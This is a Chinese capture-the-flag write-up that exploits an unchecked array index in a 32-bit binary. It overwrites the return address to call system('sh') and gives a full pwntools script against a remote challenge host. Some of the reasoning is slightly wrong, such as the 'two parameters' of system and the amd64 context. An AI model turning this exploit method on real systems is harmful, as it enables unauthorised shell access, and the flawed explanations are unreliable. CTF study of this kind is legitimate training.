0x1
检查安全机制,开启了canary、栈不可执行,没开ALSR:
0x2
运行程序,有四个功能:
ida静态分析,没有溢出漏洞,但是在改变数字时没有对数组索引作校验,因此可以越界读写
0x3
数组类型是char,因此每个单元1字节,p32程序栈帧大小4字节,因此每个栈帧对应4个数组单元:
栈结构如下:
与返回地址偏移0x70+0x4字节
但是,实际上利用0x74作偏移时是不行的,原因在于main的最后修改了esp的值,因此返回地址应该是修改后的esp的下方4字节
用gdb在ret下断点作动态分析:
可以看到lea指令实际效果是esp+10,因此,真正的返回地址偏移起始位置是0x84
0x4
由于程序是小端序,因此栈低地址(靠近栈顶)存放低位地址,即对于hack_here首条指令地址0x0804859B:
数组下标0x84-0x87存放0x9B、0x85、0x04、0x08实现调用/bin/bash
0x5
但是!远程主机没有bash,因此这个hack_here是无效的
发现plt表有system条目:
ROPgardget查找字符串sh:
因此,数组下标0x84-0x87存放0x50、0x84、0x04、0x08,即返回地址
system形参有两个,一般是0、内容,因此:
- 数组下标0x88-0x8B跳过或写0
- 数组下标0x8C-0x8F存放sh字符串地址,即0x87、0x89、0x04、0x08
由于有那个+10,这里就不画栈结构了,代码如下:
from pwn import*
context(os='linux', arch='amd64',log_level = 'debug')
p=remote("61.147.171.105", 51684)
#p=process("./3f")
p.sendlineafter(" have:","1")
p.sendlineafter("numbers","1")
p.sendlineafter("5. exit","3")
#0x080485D0
p.sendlineafter("which number to change:",str(int(0x84)))
p.sendlineafter("new number:",str(0x50))
p.sendlineafter("5. exit","3")
p.sendlineafter("which number to change:",str(int(0x85)))
p.sendlineafter("new number:",str(int(0x84)))
p.sendlineafter("5. exit","3")
p.sendlineafter("which number to change:",str(int(0x86)))
p.sendlineafter("new number:",str(int(0x04)))
p.sendlineafter("5. exit","3")
p.sendlineafter("which number to change:",str(int(0x87)))
p.sendlineafter("new number:",str(int(0x08)))
#0x08048ab3
p.sendlineafter("5. exit","3")
p.sendlineafter("which number to change:",str(int(0x8C)))
p.sendlineafter("new number:",str(int(0x87)))
p.sendlineafter("5. exit","3")
p.sendlineafter("which number to change:",str(int(0x8D)))
p.sendlineafter("new number:",str(int(0x89)))
p.sendlineafter("5. exit","3")
p.sendlineafter("which number to change:",str(int(0x8E)))
p.sendlineafter("new number:",str(int(0x04)))
p.sendlineafter("5. exit","3")
p.sendlineafter("which number to change:",str(int(0x8F)))
p.sendlineafter("new number:",str(int(0x08)))
p.sendlineafter("5. exit","5")
p.interactive()
运行结果:
0x6
注意一下:
- 这里利用的是main结束后的ret
- 利用IO向内存直接写16进制数据要先把十六进制转int,再转str,即str(int(0x1)),否则是无效的